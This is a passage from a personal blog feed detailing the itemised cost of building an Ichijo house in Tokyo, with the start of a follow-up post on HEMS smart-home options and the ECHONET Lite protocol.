      &lt;td&gt;&lt;strong&gt;Total building construction cost (excluding tax)&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;32,368,479 yen&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-05-04-cost-of-our-ichijo-house/flows.png#lb&quot; alt=&quot;Cost categories visualized&quot; /&gt;&lt;/p&gt;

&lt;!--
Made with: https://sankeymatic.com/build/
Width: 1200
Height: 600

Source:
Overall [32368479] Net price
Overall [3236847] Tax  (10%)

Net price [22165367] Main construction
Net price [794000] Subsidy applications
Net price [1583700] Outdoor plumbing
Net price [6515112] Options 
Net price [1310300] Solar panel and battery

// Subsidy applications [499000] 低炭素
// Subsidy applications [210000] 東京ｾﾞﾛｴﾐ
// Subsidy applications [85000] 子育てグリーン

Options [1859500] Custom kitchen and cupboard
Options [1579000] Equipment upgrades  
Options [859900] Walls, floors, and windows
Options [661080] Smart home 
Options [597300] Things we didn&apos;t ask for 
Options [467832] Lights and electrical stuff
Options [413700] Storage and laundry poles  
Options [*] Others
--&gt;

&lt;p&gt;I will break down each of these categories now.&lt;/p&gt;

&lt;h2 id=&quot;main-building-construction---22165367-yen&quot;&gt;Main building construction - 22,165,367 yen&lt;/h2&gt;

&lt;p&gt;This depends on the size of the house, the chosen line-up (&lt;a href=&quot;https://www.ichijo.co.jp/lineup/grand-smart/&quot;&gt;GRAND SMART&lt;/a&gt; in our case), whether the house has to have a high fire resistance (some areas require this), and when the contract was signed.&lt;/p&gt;

&lt;p&gt;Before we signed our contract in January 2024, these were the per tsubo prices for each line-up:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-05-04-cost-of-our-ichijo-house/price-per-tsubo.jpg#lb&quot; alt=&quot;Prices of various line-ups (as of November 2023)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, there is a small note on the top left corner: these prices apply for a 30 tsubo (99 m2, &lt;a href=&quot;https://suumo.jp/article/oyakudachi/oyaku/sumai_nyumon/other/tsubo_heibei/&quot;&gt;1 tsubo is 3.3 m2&lt;/a&gt;) house outside the 23 wards of Tokyo, without special fire resistance, tax included. If the house is smaller, then the per-tsubo price goes up slightly.&lt;/p&gt;

&lt;p&gt;Our house is 95.44 m2 (29 tsubo) and we paid  232,244 yen per m2 (766,405 yen per tsubo) for this. Adding the 10% tax to this, the per-tsubo price ends up being 843,046 yen, which is slightly higher than the advertised 823,000 yen. This is likely due to the slightly smaller house, and the time difference (the prices are from November and we signed the contract in January).&lt;/p&gt;

&lt;p&gt;During the design phase we considered switching to a cheaper line-up (i-smart), but many of the options that we wanted and were included with GRAND SMART were paid options with i-smart, so in the end we decided to stay with GRAND SMART as the savings would not have been significant.&lt;/p&gt;

&lt;h2 id=&quot;subsidy-applications---794000-yen&quot;&gt;Subsidy applications - 794,000 yen&lt;/h2&gt;

&lt;p&gt;Ichijo builds high quality houses with great insulation, so they are eligible for many local and national subsides. Ichijo handles the paperwork to apply for these, but they charge extra for this (however the subsidies should more than offset this cost).&lt;/p&gt;

&lt;p&gt;For us they will apply for the followings subsidies:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name of the subsidy&lt;/th&gt;
      &lt;th&gt;Application fee&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;確認申請･設計住宅性能評価･低炭素申請手続及び諸費用&lt;/td&gt;
      &lt;td&gt;499,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;東京ｾﾞﾛｴﾐ住宅 申請費用&lt;/td&gt;
      &lt;td&gt;210,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;子育てグリーン住宅支援事業&lt;/td&gt;
      &lt;td&gt;85,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Overall&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;794,000 yen&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;This is a lot, but we are expected to get somewhere between 2 to 3 million yen from the subsidies, so it should work out in the end.&lt;/p&gt;

&lt;h2 id=&quot;outdoor-water-plumbing-work---1583700-yen&quot;&gt;Outdoor water plumbing work - 1,583,700 yen&lt;/h2&gt;

&lt;p&gt;This is to cover plumbing work outside the house, connecting the house to the water pipe already in the land. Our land was created by halving a bigger land, and the other half got both the existing water and the gas connections, we will have to pay for connecting the land to the water pipes separately (we won’t have gas in the house, so won’t connect that).&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item (jp)&lt;/th&gt;
      &lt;th&gt;Item (en)&lt;/th&gt;
      &lt;th&gt;Cost&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;仮設工事&lt;/td&gt;
      &lt;td&gt;Temporary Construction&lt;/td&gt;
      &lt;td&gt;721,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;屋外給水設備工事&lt;/td&gt;
      &lt;td&gt;Outdoor water supply installation work&lt;/td&gt;
      &lt;td&gt;219,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;屋外排水設備工事&lt;/td&gt;
      &lt;td&gt;Outdoor drainage system construction&lt;/td&gt;
      &lt;td&gt;280,900 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;特別運搬費&lt;/td&gt;
      &lt;td&gt;Special transportation fee&lt;/td&gt;
      &lt;td&gt;42,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;残土処分費&lt;/td&gt;
      &lt;td&gt;Surplus soil disposal costs&lt;/td&gt;
      &lt;td&gt;139,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;屋外雨水設備工事&lt;/td&gt;
      &lt;td&gt;Outdoor rainwater installation work&lt;/td&gt;
      &lt;td&gt;181,800 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;合計&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Overall&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1,583,700 yen&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Connecting the land to the water pipes will be an additional 1,223,035 yen (tax included), but that is done by a different company, so it is not included in the Ichijo estimate.&lt;/p&gt;

&lt;p&gt;Some of this might be due to local regulations (I remember that we have to install a tank for rain water due to a local law, so it might be different elsewhere).&lt;/p&gt;

&lt;h2 id=&quot;options-that-we-chose---6515112-yen&quot;&gt;Options that we chose - 6,515,112 yen&lt;/h2&gt;

&lt;p&gt;This is the biggest additional expense to the house, and where we could have both reduced or increased the costs significantly. In the end we got 63 different options, so I will naming some minor ones, and organize them into the following categories.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Category&lt;/th&gt;
      &lt;th&gt;Cost&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Custom kitchen and cupboard&lt;/td&gt;
      &lt;td&gt;1,859,500 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Equipment upgrades&lt;/td&gt;
      &lt;td&gt;1,579,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Walls, floors, and windows&lt;/td&gt;
      &lt;td&gt;859,900 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Smart home&lt;/td&gt;
      &lt;td&gt;661,080 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Things we didn’t ask for&lt;/td&gt;
      &lt;td&gt;597,300 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Lights and electrical stuff&lt;/td&gt;
      &lt;td&gt;467,832 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage and laundry poles&lt;/td&gt;
      &lt;td&gt;413,700 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Others&lt;/td&gt;
      &lt;td&gt;76,800 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;custom-kitchen-and-cupboard---1859500-yen&quot;&gt;Custom kitchen and cupboard - 1,859,500 yen&lt;/h3&gt;

&lt;p&gt;I already covered this &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;in an earlier post&lt;/a&gt;, but TLDR: we wanted a big, front-open dishwasher, and didn’t really like Ichijo’s kitchen’s design, so ended up getting both the kitchen and the cupboard from &lt;a href=&quot;https://www.woodone.co.jp/product/item/housing_cat/kitchen/&quot;&gt;WoodOne&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;equipment-upgrades---1579000-yen&quot;&gt;Equipment upgrades - 1,579,000 yen&lt;/h3&gt;

&lt;p&gt;The base price includes the default equipments (ACs, toilets, water taps, etc.), but we chose to upgrade some of them. For the living room AC this was mandatory in order to qualify for some of the energy efficiency subsidies, the rest was mostly our choice.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Air conditioner upgrade&lt;/td&gt;
      &lt;td&gt;565,000 yen&lt;/td&gt;
      &lt;td&gt;This includes high-grade Daikin ACs in all rooms.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sink at the entrance from WoodOne&lt;/td&gt;
      &lt;td&gt;366,000 yen&lt;/td&gt;
      &lt;td&gt;We added an additional sink near the entrance, which would have been an extra option from Ichijo anyway, so we got it from WoodOne, as we preferred their design. (We chose the &lt;a href=&quot;https://www.woodone.co.jp/product/item/housing/wash_stand_opentype/&quot;&gt;open-type&lt;/a&gt;, but they have &lt;a href=&quot;https://www.woodone.co.jp/product/item/housing/wash_stand_unittype/&quot;&gt;unit-type&lt;/a&gt; too.)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Upgrade both toilets to one that opens automatically and easier to clean&lt;/td&gt;
      &lt;td&gt;176,000 yen&lt;/td&gt;
      &lt;td&gt;Considered Toto’s Neorest a lot, but ended up going with the cheaper Toto GG3 as we didn’t find any feature that would justify the double price of Neorest.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Honeycomb shades at most windows&lt;/td&gt;
      &lt;td&gt;159,000 yen&lt;/td&gt;
      &lt;td&gt;Instead, or in addition to curtains, we added these  shades. We had some special discount making these cheaper, but added electric motors to all.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Add automatic cleaning functionality to the bathtub&lt;/td&gt;
      &lt;td&gt;130,000 yen&lt;/td&gt;
      &lt;td&gt;We give our baby a bath everyday, so this will save about 5 minutes of work each day.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;EcoCute water heater upgrade to high-power, 460 liter model&lt;/td&gt;
      &lt;td&gt;90,000 yen&lt;/td&gt;
      &lt;td&gt;Our bathroom is on the second floor, so we wanted the high power model to ensure good water pressure.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sink with motion sensor tap in the second toilet (first floor)&lt;/td&gt;
      &lt;td&gt;73,800 yen&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Washing machine facet upgrade, to include hot water&lt;/td&gt;
      &lt;td&gt;19,200 yen&lt;/td&gt;
      &lt;td&gt;The default one only has cold water and we might get a washing machine that will need both.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;walls-floors-and-windows---859900-yen&quot;&gt;Walls, floors, and windows - 859,900 yen&lt;/h3&gt;

&lt;p&gt;Walls, floors, and windows are mainly part of the base price (as they are what makes a house a house), but of course we added some extra options.&lt;/p&gt;

&lt;p&gt;Having grown up in a brick house, I am used to be able to make a hole anywhere in the wall to attach something. However the wooden frames only allow this at every 45 cm (where they have the pillars). If one wants to attach something midway (e.g. TV on the wall, furniture, toilet paper holder), Ichijo needs to include an additional panel behind the wallpaper. This costs extra and also reduces the insulation slightly (an issue with outer walls), so we had to consider it where to add it. Same goes for the ceiling (e.g. for lighting rails or curtains).&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Rustic hard maple flooring on the second floor&lt;/td&gt;
      &lt;td&gt;307,500 yen&lt;/td&gt;
      &lt;td&gt;We wanted real wood flooring at least in the living room, so got &lt;a href=&quot;https://www.woodtec.co.jp/products/lineup/flooring/livenaturalpremium/rustic/#product-lineup-hardmaple&quot;&gt;this from Asahi WoodTec&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Additional window sashes&lt;/td&gt;
      &lt;td&gt;225,600 yen&lt;/td&gt;
      &lt;td&gt;We added a lot of windows to make the living room bright&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Stronger walls and ceiling&lt;/td&gt;
      &lt;td&gt;127,100 yen&lt;/td&gt;
      &lt;td&gt;So that we can attach stuff anywhere on them. Also made the bottom of the balcony strong for hanging my bike from there.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Magnetic wall in the kitchen&lt;/td&gt;
      &lt;td&gt;86,000 yen&lt;/td&gt;
      &lt;td&gt;Added a &lt;a href=&quot;https://www.miratap.co.jp/shop/p/WP13039/&quot;&gt;magnetic board from Mira Tap&lt;/a&gt; to the wall in the kitchen, so that we can attach hooks and shelves easily&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Extra wallpaper&lt;/td&gt;
      &lt;td&gt;83,700 yen&lt;/td&gt;
      &lt;td&gt;For the most part we were happy with the default wallpapers, but added some accent colors here and there, and changed them to water repellent ones in the bathrooms.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Different flooring per floor&lt;/td&gt;
      &lt;td&gt;30,000 yen&lt;/td&gt;
      &lt;td&gt;We left the first floor with the basic flooring, so got charged this extra for having different flooring per floor.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;smart-home---661080-yen&quot;&gt;Smart home - 661,080 yen&lt;/h3&gt;

&lt;p&gt;I shared the details of this &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;in an earlier post&lt;/a&gt;, so I’ll just list out the options here that are not included in other categories (e.g. air conditioners are smart, but they are already in the equipment upgrade section).&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Smart switches&lt;/td&gt;
      &lt;td&gt;340,780 yen&lt;/td&gt;
      &lt;td&gt;Panasonic Advanced Series&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo’s Cloud HEMS system&lt;/td&gt;
      &lt;td&gt;150,000 yen&lt;/td&gt;
      &lt;td&gt;This includes the smart breaker box, and adapters for the floor heating and EcuCute water heater.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Two outside security cameras&lt;/td&gt;
      &lt;td&gt;95,600 yen&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Intercom upgrade&lt;/td&gt;
      &lt;td&gt;28,000 yen&lt;/td&gt;
      &lt;td&gt;To show the camera’s feed when motion is detected, and to connect to the internet.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Connecting the entrance door to the intercom&lt;/td&gt;
      &lt;td&gt;21,000 yen&lt;/td&gt;
      &lt;td&gt;And via the intercom to the internet.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Earth wire to the non-smart switches&lt;/td&gt;
      &lt;td&gt;18,000 yen&lt;/td&gt;
      &lt;td&gt;There are 3 non-smart switches, and I asked to bring an Earth wire to them in case we want to make them smart in the future.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;HEMS adapter for the air circulation system&lt;/td&gt;
      &lt;td&gt;7,700 yen&lt;/td&gt;
      &lt;td&gt;Connect the ロスガード９０うるケア to HEMS&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;things-we-didnt-ask-for---597300-yen&quot;&gt;Things we didn’t ask for - 597,300 yen&lt;/h3&gt;

&lt;p&gt;There were some things that we had to pay for due to our land or the shape of the house.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Stronger foundation&lt;/td&gt;
      &lt;td&gt;298,400 yen&lt;/td&gt;
      &lt;td&gt;ベタ基礎, one level higher than the basic foundation. This came from the result of our land survey that we could only do after buying the land.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Dropped ceiling&lt;/td&gt;
      &lt;td&gt;130,000 yen&lt;/td&gt;
      &lt;td&gt;The ceiling had to be lowered by 20 cm in the kitchen (to cover the pipe from the range hood) and in the kids room (to cover the pipes leaving the bathroom)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Weird shaped roof&lt;/td&gt;
      &lt;td&gt;79,000 yen&lt;/td&gt;
      &lt;td&gt;To maximize the size of the solar panel we made the angle of the roof custom, which cost extra.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sliding door for the entrance&lt;/td&gt;
      &lt;td&gt;38,100 yen&lt;/td&gt;
      &lt;td&gt;The shape of our house requires a sliding entrance door, so had to upgrade the normal one.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Strengthen the load-bearing walls&lt;/td&gt;
      &lt;td&gt;27,000  yen&lt;/td&gt;
      &lt;td&gt;Some walls on the first floor had to be made stronger to hold up the second floor. This would be more if we had the living room on the first floor.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Snow stoppers on the roof&lt;/td&gt;
      &lt;td&gt;24,800 yen&lt;/td&gt;
      &lt;td&gt;On the small roof that doesn’t have solar (as the solar includes these by default).&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;lights-and-electrical-stuff---467832-yen&quot;&gt;Lights and electrical stuff - 467,832 yen&lt;/h3&gt;

&lt;p&gt;We had to get LED lights for one of the subsidies, and we also changed quite a few lights because we didn’t like the design of the default ones. Also we wanted to have more flexibility in the future, so chose replaceable lights, and used rails in the kitchen and dining room.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Lights&lt;/td&gt;
      &lt;td&gt;219,032 yen&lt;/td&gt;
      &lt;td&gt;Some from Ichijo’s LED package, some from the makers’ catalogue.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Additional electrical work&lt;/td&gt;
      &lt;td&gt;165,400 yen&lt;/td&gt;
      &lt;td&gt;I guess we did too much customization, so they have to work more than what’s included in the base price.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Upgrade ethernet to CAT6A (from CAT5e)&lt;/td&gt;
      &lt;td&gt;53,400 yen&lt;/td&gt;
      &lt;td&gt;It’s expensive to upgrade later, so I wanted the best they could do.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;One additional ethernet port&lt;/td&gt;
      &lt;td&gt;30,000 yen&lt;/td&gt;
      &lt;td&gt;Not sure where, since we added them in all rooms, but some might have been part of the base price.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;One thing not mentioned here are the smart switches, as I counted them already at the smart home section.&lt;/p&gt;

&lt;h3 id=&quot;storage-and-laundry-poles---413700-yen&quot;&gt;Storage and laundry poles - 413,700 yen&lt;/h3&gt;

&lt;p&gt;Most storage is included in the base price (closets in the rooms, at the genkan, around the bathroom sink, etc.), but storage is never enough.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Attic storage / loft&lt;/td&gt;
      &lt;td&gt;262,500 yen&lt;/td&gt;
      &lt;td&gt;The overall floor-space of the house is limited to 80% of the land size, but rooms with height up to 140 cm don’t count, so we could add a 9 m2 storage room in the attic.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Under-floor storage, 5 box&lt;/td&gt;
      &lt;td&gt;103,000 yen&lt;/td&gt;
      &lt;td&gt;This slides back and forth, increasing the capacity 5-fold compared to a regular storage. It opens from the hallway on the first floor.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Cloth dryer hangers and wires&lt;/td&gt;
      &lt;td&gt;48,200 yen&lt;/td&gt;
      &lt;td&gt;Hanger in the bathroom and balcony, wire in the living room and main bedroom.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;solar-panel-and-battery---1310300-yen&quot;&gt;Solar panel and battery - 1,310,300 yen&lt;/h2&gt;

&lt;p&gt;This includes a 4.9 kW solar panel and a 7.04 kW battery. The solar panel depends on the size of the roof, and we got the biggest possible for our house. The battery was either this, or double size for an additional 700,000 yen (but the subsidies would have covered 500,000 yen of that), but we decided to stay with the single size.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;All in all, I feel that Ichijo’s default options are pretty generous, and the things we added will increase our wellbeing while living in this house.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Ichijo's smart home options</title>
   <link href="https://szabo.jp/2025/04/21/ichijo-smart-home/"/>
   <updated>2025-04-21T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/04/21/ichijo-smart-home</id>
   <content type="html">&lt;p&gt;We are building a house in Tokyo with &lt;a href=&quot;https://www.ichijo.co.jp/&quot;&gt;Ichijo 一条工務店&lt;/a&gt;. In previous apartments I always had a limited smart home setup, so now that we got to design the whole house, I wanted to consider every available options and add them if they make sense. I’ll review what we ended up adding to our design in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;em&gt;I will share prices in this post, but those of course change with time. For reference: we signed the pre-contract with Ichijo in January 2024, and finalized the design in March 2025. Prices mentioned do not include the consumption tax, but prices on screenshots from the Ichijo catalog do.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;hems&quot;&gt;HEMS&lt;/h2&gt;

&lt;p&gt;Smart home is still waiting for a breakthrough, before it becomes an essential element of all homes around the world. Sure, tech-savy people are building amazing things, but we are still far from a plug-and-play solution that provides enough value for the average user. The Japanese government and companies are taking another approach: instead of selling it as a convenience feature, they are selling it as a way to manage energy and save money.&lt;/p&gt;

&lt;p&gt;Meet HEMS. From &lt;a href=&quot;https://www.env.go.jp/earth/ondanka/kateico2tokei/energy/detail/04/&quot;&gt;the website of the Ministry of Environment&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;HEMS stands for Home Energy Management System. It is a system that supports comfort and energy conservation in the home by displaying energy usage on dedicated monitors, computers, smartphones, and similar devices. It encourages the optimal operation of air conditioning, lighting, and home appliances. The national government has also included the promotion of energy management using HEMS in its policy plans.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As smart devices are made by different manufacturers, interoperability is usually difficult. That’s where HEMS’s government support comes handy: it &lt;a href=&quot;https://echonet.jp/about/hems/&quot;&gt;comes with a standardized protocol, ECHONET Lite&lt;/a&gt;, that all device has to support.&lt;/p&gt;

&lt;h3 id=&quot;echonet-lite&quot;&gt;ECHONET Lite&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://ja.wikipedia.org/wiki/ECHONET_Lite&quot;&gt;ECHONET Lite&lt;/a&gt; was developed by the ECHONET Consortium that consist of major Japanese companies making these devices. It is called Lite, as it is a rework of the earlier ECHONET standard, that was too prescriptive (including the physical and data link layers) which prevented its wider adoption.&lt;/p&gt;

&lt;p&gt;ECHONET Lite usually works over UDP/IP sending packets to port 3610. The messages are either multicast (e.g. an air conditioner announcing that it has been turned on) or unicast (someone setting the air conditioner to a specific temperature). While &lt;a href=&quot;https://echonet.jp/features_en/&quot;&gt;other transmission methods like Bluetooth are also supported&lt;/a&gt;, all devices I’ve seen use either WiFi or Ethernet.&lt;/p&gt;

&lt;p&gt;The protocol doesn’t have any authentication, authorization, or encryption, so anyone on the same network can interact with the devices. This is likely to allow low-power devices to use the protocol. Thus authentication needs to be implemented on a lower layer, e.g. by using a dedicated wifi network that’s firewalled from the rest of the network.&lt;/p&gt;

&lt;p&gt;The nice thing is that this protocol is entirely local: even if the device can’t connect to the internet, it can still be controlled by sending it ECHONET Lite messages.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://echonet.jp/product_en/echonet_lite_specification/&quot;&gt;ECHONET Lite website has a search&lt;/a&gt; to check if a specific device received the ECHONET Lite certification. Useful, as sometimes the promotional materials only mention supporting HEMS.&lt;/p&gt;

&lt;p&gt;ECHONET Lite also has two integrations with &lt;a href=&quot;https://www.home-assistant.io/&quot;&gt;Home Assistant&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;https://github.com/scottyphillips/echonetlite_homeassistant&lt;/a&gt; - I tried this and works well&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/banban525/echonetlite2mqtt&quot;&gt;https://github.com/banban525/echonetlite2mqtt&lt;/a&gt; - I haven’t tried this&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both repositories has recent activities, though the first says that the original author no longer works on this project, but will accept PRs.&lt;/p&gt;

&lt;h2 id=&quot;cloud-hems-クラウドhems---150000-yen&quot;&gt;Cloud HEMS (クラウドHEMS) - 150,000 yen&lt;/h2&gt;

&lt;p&gt;This is the main HEMS option from Ichijo, and without this they don’t allow their other HEMS options. This is actually new: for houses that are completed before June 2025, a previous HEMS option was used (that didn’t have the cloud component). The cloud piece means that this integrates with &lt;a href=&quot;https://www.mitsubishielectric.co.jp/home/mymu/me-enel.html&quot;&gt;Mitsubishi’s MyMU app&lt;/a&gt;, which allows local and remote monitoring and control of the connected devices.&lt;/p&gt;

&lt;p&gt;So what can be connected?&lt;/p&gt;

&lt;h3 id=&quot;ecoeye-distribution-board-included-with-the-cloud-hems-option&quot;&gt;EcoEye distribution board (included with the Cloud HEMS option)&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.kawamura.co.jp/ecoeye/about/&quot;&gt;&lt;strong&gt;EcoEye&lt;/strong&gt;&lt;/a&gt; is a distribution board with per-circuit measurement made by Kawamura Electric. This is the center of home energy management.&lt;/p&gt;

&lt;p&gt;I guess the main use of this is to see which devices use a lot of electricity, and then try to run those at an optimal schedule. I originally didn’t plan to add this, but since it is included with the Cloud HEMS, we’ll have it, then see if it ends up being useful.&lt;/p&gt;

